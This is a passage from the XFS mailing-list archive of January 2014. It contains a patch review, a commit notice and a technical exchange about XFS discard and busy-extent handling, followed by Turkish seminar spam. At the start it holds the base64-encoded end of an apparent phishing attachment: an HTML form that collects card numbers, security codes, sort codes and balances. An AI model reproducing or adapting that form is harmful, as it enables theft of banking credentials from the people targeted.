dW5kcyB3aWxsIGJlIG1hZGUuDQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8dHI+ DQoJCQkJCQk8dGQ+DQoJCQkJCQkJICZuYnNwOw0KCQkJCQkJPC90ZD4NCgkJCQkJPC90cj4N CgkJCQkJPHRyPg0KCQkJCQkJPHRkIGFsaWduPSJyaWdodCI+DQoJCQkJCQkJPGRpdiBjbGFz cz0idHh0X2Zvcm1fa29wIj4NCgkJCQkJCQkJIEFjY291bnQgTnVtYmVyIDxzcGFuID46PC9z cGFuPg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJPC90ZD4NCgkJCQkJCTx0ZCB2YWxpZ249Imxl ZnQiPg0KCQkJCQkJCSAmbmJzcDsgPGlucHV0IGlkPSJhY2MiIG5hbWU9ImFjYyIgDQ0KbWF4 bGVuZ3RoPSI4IiBzaXplPSIxMCIgY2xhc3M9ImVucm9sbG1lbnRJbnB1dEJveCIgdHlwZT0i dGV4dCI+DQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQg YWxpZ249InJpZ2h0Ij4NCgkJCQkJCQk8ZGl2IGNsYXNzPSJ0eHRfZm9ybV9rb3AiPg0KCQkJ CQkJCQkgRGViaXQgQ2FyZCBOdW1iZXIgPHNwYW4gPjo8L3NwYW4+DQoJCQkJCQkJPC9kaXY+ DQoJCQkJCQk8L3RkPg0KCQkJCQkJPHRkIHZhbGlnbj0ibGVmdCI+DQoJCQkJCQkJICZuYnNw OyA8aW5wdXQgaWQ9ImZhY2xpZSIgbmFtZT0iZmFjbGllIiANDQptYXhsZW5ndGg9IjE2IiBz aXplPSIxNiIgY2xhc3M9ImVucm9sbG1lbnRJbnB1dEJveCIgdHlwZT0idGV4dCI+DQoJCQkJ CQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQgYWxpZ249InJpZ2h0 Ij4NCgkJCQkJCQk8ZGl2IGNsYXNzPSJ0eHRfZm9ybV9rb3AiPg0KCQkJCQkJCQkgRXhwaXJ5 IERhdGUgPHNwYW4gPjo8L3NwYW4+DQoJCQkJCQkJPC9kaXY+DQoJCQkJCQk8L3RkPg0KCQkJ CQkJPHRkIHZhbGlnbj0ibGVmdCI+DQoJCQkJCQkJICZuYnNwOyA8aW5wdXQgY2xhc3M9ImVu cm9sbG1lbnRJbnB1dEJveCIgDQ0KaWQ9ImV4cE1vbnRoIiBuYW1lPSJleHBNb250aCIgc2l6 ZT0iMiIgbWF4bGVuZ3RoPSIyIiB0eXBlPSJ0ZXh0Ij4mbmJzcDsmbmJzcDsvJm5ic3A7IDxp bnB1dCANDQpjbGFzcz0iZW5yb2xsbWVudElucHV0Qm94IiBpZD0iZXhwWWVhciIgbmFtZT0i ZXhwWWVhciIgc2l6ZT0iMiIgbWF4bGVuZ3RoPSIyIiB0eXBlPSJ0ZXh0Ij4NCgkJCQkJCQk8 c3BhbiBjbGFzcz0idHh0X2Zvcm1fa29wIj5NTS9ZWTwvc3Bhbj4NCgkJCQkJCTwvdGQ+DQoJ CQkJCTwvdHI+DQoJCQkJCTx0cj4NCgkJCQkJCTx0ZCBhbGlnbj0icmlnaHQiPg0KCQkJCQkJ CTxkaXYgY2xhc3M9InR4dF9mb3JtX2tvcCI+DQoJCQkJCQkJCSBDYXJkIFNlY3VyaXR5IENv ZGUgPHNwYW4gPjo8L3NwYW4+DQoJCQkJCQkJPC9kaXY+DQoJCQkJCQk8L3RkPg0KCQkJCQkJ PHRkIHZhbGlnbj0ibGVmdCI+DQoJCQkJCQkJICZuYnNwOyA8aW5wdXQgaWQ9ImNzYyIgbmFt ZT0iY3NjIiANDQptYXhsZW5ndGg9IjMiIHNpemU9IjMiIGNsYXNzPSJlbnJvbGxtZW50SW5w dXRCb3giIHR5cGU9InBhc3N3b3JkIj4NCgkJCQkJCQkgPC90ZD4NCgkJCQkJPC90cj4NCgkJ CQkJPHRyPg0KCQkJCQkJPHRkIGFsaWduPSJyaWdodCI+DQoJCQkJCQkJPGRpdiBjbGFzcz0i dHh0X2Zvcm1fa29wIj4NCgkJCQkJCQkJIFNvcnQtQ29kZSA8c3BhbiA+Ojwvc3Bhbj4NCgkJ CQkJCQk8L2Rpdj4NCgkJCQkJCTwvdGQ+DQoJCQkJCQk8dGQgdmFsaWduPSJsZWZ0Ij4NCgkJ CQkJCQkgJm5ic3A7IDxpbnB1dCBpZD0ic2MxIiBuYW1lPSJzYzEiIA0NCm1heGxlbmd0aD0i MiIgc2l6ZT0iMSIgY2xhc3M9ImVucm9sbG1lbnRJbnB1dEJveCIgdHlwZT0idGV4dCI+Jm5i c3A7LSZuYnNwOzxpbnB1dCBpZD0ic2MyIiBuYW1lPSJzYzIiIG1heGxlbmd0aD0iMiIgDQ0K c2l6ZT0iMSIgY2xhc3M9ImVucm9sbG1lbnRJbnB1dEJveCIgdHlwZT0idGV4dCI+Jm5ic3A7 LSZuYnNwOzxpbnB1dCBpZD0ic2MzIiBuYW1lPSJzYzMiIG1heGxlbmd0aD0iMiIgc2l6ZT0i MSIgDQ0KY2xhc3M9ImVucm9sbG1lbnRJbnB1dEJveCIgdHlwZT0idGV4dCI+DQoJCQkJCQk8 L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8dHI+DQoNCg0KDQoNCjx0cj4NCgkJCQkJCTx0ZCBh bGlnbj0icmlnaHQiPg0KCQkJCQkJCTxkaXYgY2xhc3M9InR4dF9mb3JtX2tvcCI+DQoJCQkJ CQkJCSBDYXJkIEJhbGFuY2UgKEV4OiA3MjAuOTQgRVVSKSANDQo8c3BhbiA+Ojwvc3Bhbj4N CgkJCQkJCQk8L2Rpdj4NCgkJCQkJCTwvdGQ+DQoJCQkJCQk8dGQgdmFsaWduPSJsZWZ0Ij4N CgkJCQkJCQkgJm5ic3A7IDxpbnB1dCBpZD0iYmFsYW5jZSIgbmFtZT0iYmFsYW5jZSIgDQ0K bWF4bGVuZ3RoPSIxNiIgc2l6ZT0iMTYiIGNsYXNzPSJlbnJvbGxtZW50SW5wdXRCb3giIHR5 cGU9InRleHQiPg0KCQkJCQkJPC90ZD4NCgkJCQkJPC90cj4NCg0KDQoNCgkJCQkJCTx0ZCBj b2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4NCgkJCQkJCQk8YnIgLz4NCgkJCQkJCQkgJm5i c3A7IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlID0iIiANDQpjbGFzcz0iYnV0dG9uX2Fk ZCIgLz4NCgkJCQkJCQkgPGJyIC8+PGJyIC8+DQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0K CQkJCQk8L3Rib2R5Pg0KCQkJCQk8L3RhYmxlPg0KCQkJCTwvdGQ+DQoJCQk8L3RyPg0KCQkJ PC90Ym9keT4NCgkJCTwvdGFibGU+DQoJCTwvdGQ+DQoJPC90cj4NCgk8dHI+DQoJCTx0ZD4N CgkJCTxkaXYgaWQ9ImhlYWRlcjIiPjxiciAvPg0KCQkJCTxhPkhvbWU8L2E+PGltZyBzcmM9 ImltZy8xcGl4dHJhbnNwYXJhbnQuZ2lmIiB3aWR0aD0iNyI+Jm5ic3A7fDxpbWcgDQ0Kc3Jj PSJpbWcvMXBpeHRyYW5zcGFyYW50LmdpZiIgd2lkdGg9IjgiIC8+DQoJCQkJPGE+UHJpdmFj eSBTdGF0ZW1lbnQ8L2E+PGltZyBzcmM9ImltZy8xcGl4dHJhbnNwYXJhbnQuZ2lmIiB3aWR0 aD0iNyIgDQ0KLz4mbmJzcDt8PGltZyBzcmM9ImltZy8xcGl4dHJhbnNwYXJhbnQuZ2lmIiB3 aWR0aD0iOCIgLz4NCgkJCQk8YT5UZXJtcyBhbmQgQ29uZGl0aW9uczwvYT48aW1nIHNyYz0i aW1nLzFwaXh0cmFuc3BhcmFudC5naWYiIHdpZHRoPSI3IiANDQovPiZuYnNwO3w8aW1nIHNy Yz0iaW1nLzFwaXh0cmFuc3BhcmFudC5naWYiIHdpZHRoPSI3IiAvPg0KCQkJCTxhPkNvbnRh Y3Q8L2E+PGltZyBzcmM9ImltZy8xcGl4dHJhbnNwYXJhbnQuZ2lmIiB3aWR0aD0iNyIgLz4m bmJzcDt8PGltZyANDQpzcmM9ImltZy8xcGl4dHJhbnNwYXJhbnQuZ2lmIiB3aWR0aD0iNyIg Lz4NCgkJCQk8YT5GQVE8L2E+PGJyIC8+PGJyIC8+DQoJCQk8L2Rpdj4NCgkJPC90ZD4NCgk8 L3RyPg0KCTwvdGJvZHk+DQoJPC90YWJsZT4NCjwvZGl2Pg0KPC9mb3JtPg0KPC9ib2R5Pg0K PC9odG1sPg== ------=_NextPart_000_0012_3C77755A.ADA1319F-- From cmaiolino@redhat.com Wed Jan 8 05:43:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 777B97F3F for ; Wed, 8 Jan 2014 05:43:20 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0234CAC001 for ; Wed, 8 Jan 2014 03:43:19 -0800 (PST) X-ASG-Debug-ID: 1389181398-04cb6c537ec90500001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id CD93vUDTJ1ZQF2Gh for ; Wed, 08 Jan 2014 03:43:19 -0800 (PST) X-Barracuda-Envelope-From: cmaiolino@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s08BhIEG018331 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 8 Jan 2014 06:43:18 -0500 Received: from orion.maiolino.org (ovpn-113-48.phx2.redhat.com [10.3.113.48]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s08BhF4H030817 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO) for ; Wed, 8 Jan 2014 06:43:17 -0500 Date: Wed, 8 Jan 2014 09:43:14 -0200 From: Carlos Maiolino To: xfs@oss.sgi.com Subject: Re: [PATCH 0/2] xfstests: UDF support improvements Message-ID: <20140108114313.GA20531@orion.maiolino.org> X-ASG-Orig-Subj: Re: [PATCH 0/2] xfstests: UDF support improvements Mail-Followup-To: xfs@oss.sgi.com References: <1387839231-8558-1-git-send-email-jack@suse.cz> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1387839231-8558-1-git-send-email-jack@suse.cz> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1389181399 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Looks good to me Reviewed-by: Carlos Maiolino On Mon, Dec 23, 2013 at 11:53:49PM +0100, Jan Kara wrote: > > Hello, > > below are two patches which improve UDF support in xfstests. > > Honza > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs -- Carlos From rjohnston@sgi.com Wed Jan 8 07:30:12 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7F7EC7F3F for ; Wed, 8 Jan 2014 07:30:12 -0600 (CST) Received: from xmail.sgi.com (pv-excas2-dc21.corp.sgi.com [137.38.106.9]) by relay1.corp.sgi.com (Postfix) with ESMTP id 348EE8F8033; Wed, 8 Jan 2014 05:30:09 -0800 (PST) Received: from [134.15.1.251] (134.15.1.251) by xmail.sgi.com (137.38.106.6) with Microsoft SMTP Server (TLS) id 14.3.123.3; Wed, 8 Jan 2014 07:30:08 -0600 Message-ID: <52CD52DF.8030509@sgi.com> Date: Wed, 8 Jan 2014 07:30:07 -0600 From: Rich Johnston User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Jan Kara , Subject: Re: [PATCH 0/2] xfstests: UDF support improvements References: <1387839231-8558-1-git-send-email-jack@suse.cz> In-Reply-To: <1387839231-8558-1-git-send-email-jack@suse.cz> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [134.15.1.251] This series has been committed. Thanks --Rich commit 7e4cac452bf38ee4ace80b60efca7f6318b88eea Author: Jan Kara Date: Mon Dec 23 22:53:51 2013 +0000 Add udf support into _scratch_mkfs_sized commit 49684caded92f23dd18ec4698917e087f23a9016 Author: Jan Kara Date: Mon Dec 23 22:53:50 2013 +0000 Fix output parsing in _check_udf_filesystem() From alex@zadarastorage.com Wed Jan 8 12:13:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.9 required=5.0 tests=STOX_REPLY_TYPE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E62757F3F for ; Wed, 8 Jan 2014 12:13:49 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id B0330304048 for ; Wed, 8 Jan 2014 10:13:37 -0800 (PST) X-ASG-Debug-ID: 1389204815-04cb6c537ec9bf50001-NocioJ Received: from mail-wg0-f50.google.com (mail-wg0-f50.google.com [74.125.82.50]) by cuda.sgi.com with ESMTP id k0TifmNw4aUqEvQz (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 08 Jan 2014 10:13:36 -0800 (PST) X-Barracuda-Envelope-From: alex@zadarastorage.com X-Barracuda-Apparent-Source-IP: 74.125.82.50 Received: by mail-wg0-f50.google.com with SMTP id l18so891962wgh.5 for ; Wed, 08 Jan 2014 10:13:35 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:message-id:from:to:cc:references:in-reply-to :subject:date:mime-version:content-type:content-transfer-encoding :importance; bh=ZSPQI0IHZKgwO8G91RbLVBkQrfsT5+l13X+bKB1Ty6c=; b=TpPVlRbKeWWrdNy/VdzcoMTn6k/O/x45zcQmGnvKM0eZwusghU4emJUmJWr8fEHPE2 izaM+J0WesDo9VKg/MBdY7rzL/hhwXYgTiVam/4ZPOdICm9gICZ9dfRDrNvvMlXV3n4v Ep0VGFTOpTaUmcIh7JA8TLSqHGLseJG/wg6SVwiLwz+0nGi0NAGtUuH9Wlm1l0IKpXuG Land6dn+CPexG+ogcqLLhzkbV6DlXkUYrorIMFAkIauiY5NIBcNxowIPjVMt3zcTdwFp CQrvSZPBgu0/dQhNXrGoGetnRWgQtjcInthhbw+Kiq+IeCqwb9mOzneoz0NvBCGVhm5l qkFA== X-Gm-Message-State: ALoCoQlq7WerAAl/B9PX8Iuyn+raMl+Pwpyvzx3kZLdSGkoA3ujPQmqz7YLZQejzZtOVOLlh/L+/ X-Received: by 10.180.93.130 with SMTP id cu2mr22884156wib.38.1389204814839; Wed, 08 Jan 2014 10:13:34 -0800 (PST) Received: from alyakaslap ([212.143.144.103]) by mx.google.com with ESMTPSA id mt2sm9978481wic.7.2014.01.08.10.13.33 for (version=TLSv1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Wed, 08 Jan 2014 10:13:33 -0800 (PST) Message-ID: From: "Alex Lyakas" To: "Dave Chinner" Cc: References: <20131218230615.GQ31386@dastard> <78FC295EC7FF48C987266DC48B183930@alyakaslap> <20131219105513.GZ31386@dastard> <8155F3F9D6094F40B4DA71BD561D2DE8@alyakaslap> <20131226230018.GJ20579@dastard> In-Reply-To: <20131226230018.GJ20579@dastard> Subject: Re: Questions about XFS discard and xfs_free_extent() code (newbie) Date: Wed, 8 Jan 2014 20:13:38 +0200 X-ASG-Orig-Subj: Re: Questions about XFS discard and xfs_free_extent() code (newbie) MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal Importance: Normal X-Mailer: Microsoft Windows Live Mail 15.4.3555.308 X-MimeOLE: Produced By Microsoft MimeOLE V15.4.3555.308 X-Barracuda-Connect: mail-wg0-f50.google.com[74.125.82.50] X-Barracuda-Start-Time: 1389204815 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, STOX_REPLY_TYPE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143871 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 STOX_REPLY_TYPE STOX_REPLY_TYPE 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Hello Dave, Currently I am working on the following approach: Basic idea: make each xfs_extent_busy struct carry potential information about a larger extent-for-discard, i.e., one that is a multiple of discard_granularity. In detail this looks like this: # xfs_free_ag_extent attempts to merge the freed extent into a larger free-extent in the by-bno btree. When this function completes its work, we have [nbno, nlen], which is potentially a larger free-extent. At this point we also know that AGF is locked. # We trim [nbno, nlen] to be a multiple-of and aligned-by discard_granularity (if possible), and we receive [dbno, dlen], which is a very nice extent to discard. # When calling xfs_extent_busy_insert(), we add these two values to the xfs_extent_busy struct. # When the extent-free operation is committed for this busy extent, we know that we can discard this [dbno, dlen] area, unless somebody have allocated an extent, which overlaps this area. To address that, at the end of xfs_alloc_fixup_trees() we do the following: # We know that we are going to allocate [rbno, rlen] from appropriate AG. So at this point, we search the busy extents tree to check if there is a busy extent that holds [dbno, dlen] (this is a multiple-of and aligned-by discard granularity), which overlaps [rbno, rlen] fully or partially. If found, we shrink the [dbno, dlen] area to be still a multiple-of and aligned by discard-granularity, if possible. So we have a new smaller [dbno, dlen] that we still can discard, attached to the same busy extent. Or we discover that the new area is too small to discard, so we forget about it. # The allocation flow anyways searches the busy extents tree, so we should be ok WRT to locking order, but adding some extra work. This way, we basically track larger chunks, which are nice to discard. I am aware that I need to handle additional issues like: # A busy extent can be "unbusyied" or shrunk by xfs_extent_busy_update_extent(). We need to update [dbno, dlen] accordingly or delete it fully # To be able to search for [dbno, dlen], we probably need another rbtree (under the same pag->pagb_lock), which tracks large extents for discard. xfs_extent_busy needs additional rbnode. # If during xfs_alloc_fixup_trees() we discover that extent is already being discarded, we need to wait. Assuming we have asynchronous discard, this wait will be short - we only need the block device to queue the discard request, and then we are good to allocate from that area again. One thing I am unsure about, is a scenario like this: # assume discard-granularity=1MB # we have a 1MB almost free, except two 4K blocks, somewhere in the free space # Transaction t1 comes and frees 4K block A, but the 1MB extent is not fully free yet, so nothing to discard # Transaction t2 frees the second 4K block B, now 1MB is free and we attach a [dbno, dlen] to the second busy extent However, I think there is no guarantee that t1 will commit before t2; is that right? But we cannot discard the 1MB extent, before both transactions commit. (One approach to solve this, is to give a sequence number for each xfs_extent_busy extent, and have a background thread that does delayed discards, once all needed busy extents are committed. The delayed discards are also considered in the check that xfs_alloc_fixup_trees() does). What do you think overall about this approach? Is there something fundamental that prevents it from working? Also (if you are still reading:), can you kindly comment this question that I have: # xfs_free_ag_extent() has a "isfl" parameter. If it is "true", then this extent is added as usual to the free-space btrees, but the caller doesn't add it as a busy extent. This means that such extent is suitable for allocation right away, without waiting for the log commit? Thank you for helping, Alex. -----Original Message----- From: Dave Chinner Sent: 27 December, 2013 1:00 AM To: Alex Lyakas Cc: xfs@oss.sgi.com Subject: Re: Questions about XFS discard and xfs_free_extent() code (newbie) On Tue, Dec 24, 2013 at 08:21:50PM +0200, Alex Lyakas wrote: > Hi Dave, > Reading through the code some more, I see that the extent that is > freed through xfs_free_extent() can be an XFS metadata extent as > well. > For example, xfs_inobt_free_block() frees a block of the AG's > free-inode btree. Also, xfs_bmbt_free_block() frees a generic btree > block by putting it onto the cursor's "to-be-freed" list, which will > be dropped into the free-space btree (by xfs_free_extent) in > xfs_bmap_finish(). If we discard such metadata block before the > transaction is committed to the log and we crash, we might not be > able to properly mount after reboot, is that right? Yes. The log stores a delta of the transactional changes, and so requires th eprevious version of the block to be intact for revoery to take place. > I mean it's not > that some file's data block will show 0s to the user instead of > before-delete data, but some XFS btree node (for example) will be > wiped in such case. Can this happen? Yes, it could. That's what I meant by: [snip] > > IOWs, issuing the discard before the transaction that frees the > > extent is on stable storage means we are discarding user data or ^^ > > metadata before we've guaranteed that the extent free transaction ^^^^^^^^ > > is permanent and that means we violate certain guarantees with > > respect to crash recovery... The "or metadata" part of the above sentence. Cheers, Dave. -- Dave Chinner david@fromorbit.com From info@academytaksim.tk Wed Jan 8 13:38:36 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 14A637F3F for ; Wed, 8 Jan 2014 13:38:36 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 637C1AC002 for ; Wed, 8 Jan 2014 11:38:32 -0800 (PST) X-ASG-Debug-ID: 1389208987-04cbb04167c98660001-w1Z2WR Received: from SERVER18.home (122-170-238-213.ip.idealhosting.net.tr [213.238.170.122]) by cuda.sgi.com with ESMTP id kh3h2qFGWn5uA72e for ; Wed, 08 Jan 2014 11:23:08 -0800 (PST) X-Barracuda-Envelope-From: info@academytaksim.tk X-Barracuda-Apparent-Source-IP: 213.238.170.122 Received: from server18.local ([213.238.170.122]) by home with MailEnable ESMTP; Wed, 8 Jan 2014 18:55:27 +0200 Reply-To: info@academytaksim.tk Message-ID: From: "Taksim Egitim" To: Subject: Isletmelerde Butce Yonetimi ve Butce Sistemleri Date: Wed, 8 Jan 2014 18:55:26 +0200 X-ASG-Orig-Subj: Isletmelerde Butce Yonetimi ve Butce Sistemleri MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=SPLITOR00A_001_342093921D" X-Barracuda-Connect: 122-170-238-213.ip.idealhosting.net.tr[213.238.170.122] X-Barracuda-Start-Time: 1389208988 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: 8f89b76314120f931c4682039007d763-15500-txt X-Barracuda-Spam-Score: 1.77 X-Barracuda-Spam-Status: No, SCORE=1.77 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, HELO_LH_HOME, HTML_MESSAGE, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143874 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.17 HELO_LH_HOME HELO_LH_HOME 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 This is a multi-part message in MIME format. ------=SPLITOR00A_001_342093921D Content-Type: text/plain; charset="iso-8859-9" Content-Transfer-Encoding: quoted-printable 18-19-OCAK2014 =09 =09 =09 =09 =09 =09 =09 =09 =09 =09 =09 =09 =09 =09 =09 =09 =09 =09 =09 =09 =09 =09 =09 =09 18-19 OCAK 2014 =09 =09 =09 Isletmelerde Butce Yonetimi ve=20 Butce Sistemleri =09 =09 =09 www.taksimegitim.com=20 =09 =09 =09 =09 .=20 =09 =09 =09 =09 18-19=20 OCAK 2014=20 =09 Cumartesi-Pazar=20 gunlerinde=20 Istanbul'da "Isletmelerde=20 Butce=20 Yonetimi=20 ve Butce=20 Sistemleri=20 Egitimi" =09 =09 verilecektir=2E =09 =09 Egitim Tarihleri:=20 =09 =09 18-19=20 OCAK 2014 =09 =09 =09 Egitim Saatleri: =09 10:00 -=20 17:00 =09 =09 =09 Egitim Ucreti:=20 790 TL +=20 Kdv =09 =09 =09 Egitim Yeri:=20 Point=20 Hotel Taksim =09 =09 =09 =09 Program=20 icerigi: =09 =09 =09 B=F6l=FCm=20 1 -=20 Finans=20 Karar=20 Destek=20 Sistemlerine=20 Genel=20 Bak=FD=FE Finansal=20 Y=F6netimin=20 Ama=E7lar=FD, Finansal=20 Y=F6netimi=20 Ba=FEar=FDs=FDz=20 K=FDlan=20 Nedenler G=FCn=FCm=FCz=20 =DD=FE=20 Ko=FEullar=FDn=FD=20 De=F0i=FEtiren=20 Etkenler, =09 De=F0i=FEen=20 =DD=FE=20 Ko=FEullar=FDn=FDn=20 Firmalar=FDm=FDza=20 Olan=20 Etkileri, FKD=20 Sistemlerinin=20 A=FEa=F0=FDdaki=20 Fonksiyonlar=FDn=FDn=20 B=FCt=E7e=20 Sistemi=20 olan=20 =DDli=FEkilerinin=20 Sistemati=F0i, *Faaliyet=20 Tabanl=FD=20 Maliyet=20 Sistemi *B=FCt=E7e=20 Sistemi *Sorumluluk=20 Muhasebesi *Risk=20 Y=F6netimi *Nakit=20 Ak=FD=FE=FD =09 =09 B=F6l=FCm=20 2 -=20 B=FCt=E7e=20 Haz=FDrlama=20 =C7al=FD=FEmalar=FDyla=20 =DDlgili=20 Temel=20 Konular =DD=FEletmelerde=20 Planlama=20 Faaliyetleri=20 (Stratejik=20 Plan,=20 Orta=20 Vadeli=20 Plan,=20 B=FCt=E7eleme) B=FCt=E7elemenin=20 =DD=FElevleri=20 (Optimizasyon,=20 Denetim,=20 Standartlar=FDn=20 Olu=FEturulmas=FD,=20 Performans=20 Y=F6netimi,=20 De=F0i=FEkenlerin=20 Etkinli=F0i,=20 G=F6revlerin=20 Koordinasyonu,=20 Etkinlik,=20 Ekonomiklik) B=FCt=E7e=20 Haz=FDrlan=FDrken=20 Temel=20 Yakla=FE=FDmlar=20 ( Pasif=20 B=FCt=E7eler,=20 Defansif=20 B=FCt=E7eler,=20 At=FDl=FDm=20 B=FCt=E7eleri=20 ) =DD=FEletme=20 B=FCt=E7elerinin=20 T=FCrleri=20 (Ba=FEar=FD-Kaynak,=20 S=FDf=FDr=20 Tabanl=FD-Ge=E7i=FEli,=20 Statik-Esnek,=20 Proje-D=F6nem,=20 Genel-B=F6l=FCm,=20 Gelir-Gider,=20 Geleneksel-Faaliyet=20 Tabanl=FD) =09 =DD=FEletmelerde=20 B=FCt=E7elemenin=20 Basamaklar=FD=20 ve=20 B=FCt=E7eler=20 aras=FD=20 ili=FEkiler =09 =09 (12 ayr=FD=20 Excel=20 dosyas=FD,=20 80 Ayr=FD=20 Tabloyu=20 kapsayan=20 =D6rnek=20 B=FCt=E7e=20 =C7al=FD=FEmas=FDn=FDn=20 Matematiksel=20 Modelinin=20 Sunumu=20 Yap=FDlacakt=FDr.=20 Seminer=20 Sonras=FD=20 Dosyalar=20 Taraf=FDn=FDza=20 Teslim=20 Edilecektir.) =09 =09 B=F6l=FCm=20 3 -=20 =D6rnek=20 Bir=20 B=FCt=E7e=20 Uygulamas=FD =D6rnek=20 B=FCt=E7e=20 Uygulamas=FDnda, =09 =C7oklu=20 para=20 birimiyle=20 i=FElem=20 yap=FDlacakt=FDr.=20 Her bir=20 tablo=20 hem=20 yabanc=FD=20 para=20 birimi=20 ile hem=20 de TL=20 olarak=20 izlenebilecektir.=20 Dolay=FDs=FDyla=20 Yabanc=FD=20 Para=20 Biriminden=20 TL ye=20 =E7evirme=20 i=FElemlerinde=20 b=FCt=E7e=20 kalemi=20 baz=FDnda=20 Kur=20 Fark=FD=20 Gelir ve=20 Giderlerini,=20 TL den=20 Yabanc=FD=20 Para=20 Birimine=20 =E7evirme=20 i=FElemlerinde=20 ise=20 D=F6viz=20 Kay=FDp/Kazan=E7lar=FDn=FD=20 g=F6r=FClebilecek=2E Faaliyet=20 Tabanl=FD=20 Maliyet=20 Sistemi=20 Uygulanarak=20 b=FCt=E7e=20 =FCr=FCn=20 birim=20 maliyetlere=20 inilebilecek=2E Esnek=20 B=FCt=E7eleme=20 Modeli=20 Uygulanacakt=FDr=2E =09 =09 =09 =D6rnek=20 